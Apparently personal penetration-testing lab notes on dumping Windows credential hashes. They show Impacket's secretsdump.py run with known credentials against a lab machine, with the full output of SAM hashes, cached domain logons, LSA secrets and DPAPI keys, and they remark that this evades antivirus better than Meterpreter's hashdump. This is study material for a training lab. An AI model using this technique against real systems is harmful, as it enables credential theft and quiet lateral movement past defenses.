

DUMPING HASHES WITH SECRET DUMPS (2)

DUMPING HASHES WITH SECRETS DUMPS

WE CAN GAIN HASH DUMP BY GAINING A SHELL BY PSEC ON METASPLOIT AND ENTER HASHDUMP COMMAND ON THE METERPRETER. (COULD GET PICKED UP BY ANTI-VIRUS BY WINDOW DEFENDER)

SECRETS Dump.PY ALLOW US TO DUMP HASHES WITHOUT PICKING UP BY ANTIVIRUS AND WITHOUT GAINING SHELL

```
(trisdoo@kali) ~  
$ sudo secretsdump.py marvel/fcastle:Password1@10.0.2.12  
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation  
  
[*] Service RemoteRegistry is in stopped state  
[*] Service RemoteRegistry is disabled, enabling it  
[*] Starting service RemoteRegistry  
[*] Target system bootKey: 0x8dcfea11c2a58b20a3799ec20b927d77  
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::  
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::  
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:078f8968d9718bbefa6a130278973d89::  
Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:e22ebf259ebb12b64aeb194044c5e90f::  
[*] Dumping cached domain logon information (domain/username:hash)  
MARVEL.LOCAL/fcastle:$DCC2$10240#fcastle#e6f48c2526bd594441d3da3723155f6f  
MARVEL.LOCAL/Administrator:$DCC2$10240#Administrator#2543a71f7781aa2e5e03ae5d357bf33f  
[*] Dumping LSA Secrets  
[*] $MACHINE.ACC  
MARVEL\THEPUNISHER$:aes256-cts-hmac-sha1-96:29ba9d3820a6540b20926f994dc82ef8bb00e698816b2f1251d91d83d5c52b77  
MARVEL\THEPUNISHER$:aes128-cts-hmac-sha1-96:e64c68412658de4c5caad8b141111376  
MARVEL\THEPUNISHER$:des-cbc-md5:5db589dae3e60ba1  
MARVEL\THEPUNISHER$:aad3b435b51404eeaad3b435b51404ee:9700ff23be7a8c18dc7f6476ee2dd5be::  
[*] DPAPI_SYSTEM  
dpapi_machinekey:0x4cf9c3cf81216efa9a60024161b52235880d7e4a  
dpapi_userkey:0x76f0badcfec4c81e3a6b9b255c109aaac4a714f9  
[*] NL$KM  
0000 4E 6D 82 0C B6 C9 44 87 76 A8 F2 66 1A AF 28 AE Nm....D.v..f.(.  
0010 EC 68 E8 94 5F 48 7E 63 4A 43 B0 41 F5 1E EA 74 .h...H~cJC.A...t  
0020 92 C1 0F 80 A4 90 34 C9 A7 8F 92 47 35 58 5F 06 .....4....G5X_.  
0030 4F 9E F0 7C 38 1C 5F 7A 77 1B DD 95 61 66 40 98 O..j8...zw....af@.  
NL$KM:4e6d820cb6c9448776a8f2661aaf28aee68e8945f487e634a43b041f51eea7492c10f80a49034c9a78f924735585f064f9ef07c381c5f7a771b  
dd9561664098
```